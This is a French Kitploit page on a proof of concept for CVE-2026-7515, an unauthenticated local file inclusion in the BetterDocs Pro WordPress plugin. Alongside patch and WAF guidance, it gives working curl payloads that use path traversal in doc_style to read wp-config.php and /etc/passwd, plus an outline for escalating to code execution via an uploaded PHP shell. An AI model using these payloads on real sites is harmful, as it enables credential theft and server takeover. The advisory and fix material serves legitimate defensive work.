Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
By-Poloss..-..CVE-2026-7515-PoC — Inclusion de fichier local non authentifiée | Kitploit
Outils/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

Inclusion de fichier local non authentifiée

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
1il y a 2 moisPas encore vérifié

CVE-2026-7515 : BetterDocs Pro <= 3.8.0 - Inclusion de fichier local non authentifiée

Présentation

ChampValeur
Identifiant CVECVE-2026-7515
Score CVSS9.8 (Critique)
Vecteur CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Version concernéeBetterDocs Pro <= 3.8.0
Version corrigée3.8.1
ChercheurNguyen Ngoc Duc (duc193)
Publication18 juin 2026
CWECWE-98 : Contrôle inadéquat du nom de fichier pour l'instruction Include/Require

Description de la vulnérabilité

Le plugin BetterDocs Pro pour WordPress est vulnérable à une inclusion de fichier local dans les versions jusqu’à la 3.8.0 incluse via le paramètre doc_style. Cela permet à des attaquants non authentifiés d’inclure et d’exécuter des fichiers PHP arbitraires sur le serveur.

Analyse de flux : Source → Puits

Source (entrée utilisateur)

Fichier : wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Ligne : 141

root@kitploit:~
// CODE VULNÉRABLE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Problème : L’entrée contrôlée par l’utilisateur provenant de $_POST['doc_style'] est utilisée directement sans aucune validation.

Puits (fonction dangereuse)

Fichier : wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Ligne : 195

root@kitploit:~
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

Problème : La variable $doc_style (contrôlée par l’utilisateur) est directement interpolée dans le chemin de fichier passé à views->get(), qui inclut le fichier.

Flux de données

root@kitploit:~
Requête HTTP POST
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
AUCUNE VALIDATION (version vulnérable 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
Inclusion de fichier via include() ou require()
        ↓
Exécution de code PHP arbitraire / Lecture de fichier

Différence : version vulnérable vs corrigée

Version vulnérable 3.8.0

root@kitploit:~
// Ligne 141 dans includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Version corrigée 3.8.1

root@kitploit:~
// Lignes 145-148 dans includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Différences clés

Points de terminaison AJAX concernés

Les deux points de terminaison sont enregistrés avec des hooks nopriv, ce qui signifie qu’ils sont accessibles aux utilisateurs non authentifiés :

root@kitploit:~
// Lignes 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Lignes 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

Points de terminaison :

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

Preuve de concept

Prérequis

  • Un encyclopedia_nonce valide (trouvé dans le code source des pages contenant le bloc BetterDocs Encyclopedia)

Exploitation manuelle

root@kitploit:~
# Étape 1 : Lire wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Étape 2 : Lire /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

Trouver le nonce

Le encyclopedia_nonce est exposé dans le JavaScript des pages où le bloc BetterDocs Encyclopedia est affiché :

root@kitploit:~
// Dans betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- C'est ce dont vous avez besoin
};

Chemin LFI vers RCE

  1. Lire wp-config.php - Extraire les informations d’identification de la base de données
  2. Télécharger un shell PHP - Via le téléchargement de médias WordPress ou l’éditeur de thème
  3. Inclure le fichier malveillant - Via la vulnérabilité LFI
  4. Exécuter du code - Obtenir une exécution de code à distance

Impact

Correction

Correctif principal

Mettre à jour BetterDocs Pro vers la version 3.8.1 ou ultérieure

Correctif manuel (si la mise à jour n’est pas possible)

Appliquer le correctif suivant à includes/Core/Encyclopedia.php :

root@kitploit:~
// Remplacer la ligne 141 par :
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Appliquer le même correctif à la ligne 236.

Règles WAF (atténuation temporaire)

Ajouter une règle pour bloquer le parcours de chemin dans le paramètre doc_style :

root@kitploit:~
# Bloquer doc_style avec des motifs de parcours de répertoire
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'Tentative LFI bloquée'"

Références

  • Wordfence Intelligence
  • BetterDocs Officiel
  • Détails CVE
  • WPVDB

Fichiers analysés

root@kitploit:~
Version vulnérable : betterdocs-pro_3.8.0.zip
Version corrigée   : betterdocs-pro_3.9.0.zip

Fichiers clés :
- includes/Core/Encyclopedia.php    (VULNÉRABLE)
- includes/Core/Scripts.php         (Contient la génération du nonce)
- includes/Utils/Views.php          (Logique d’inclusion de fichier)
Télécharger l’outil
AspectVulnérable (3.8.0)Corrigé (3.8.1)
ValidationAucuneListe blanche avec in_array()
Valeurs autoriséesN’importe quelle chaîneUniquement doc-grid, doc-list, doc-list-2
Vérification de typeNonComparaison stricte (===)
Type d’impactGravitéDescription
ConfidentialitéÉLEVÉELire des fichiers arbitraires (wp-config.php, /etc/passwd, etc.)
IntégritéÉLEVÉEModifier ou supprimer des fichiers
DisponibilitéÉLEVÉEDéni de service
Vecteur d’accèsRéseauExploitable à distance
PrivilègesAucunAucune authentification requise
Interaction utilisateurAucuneNon requise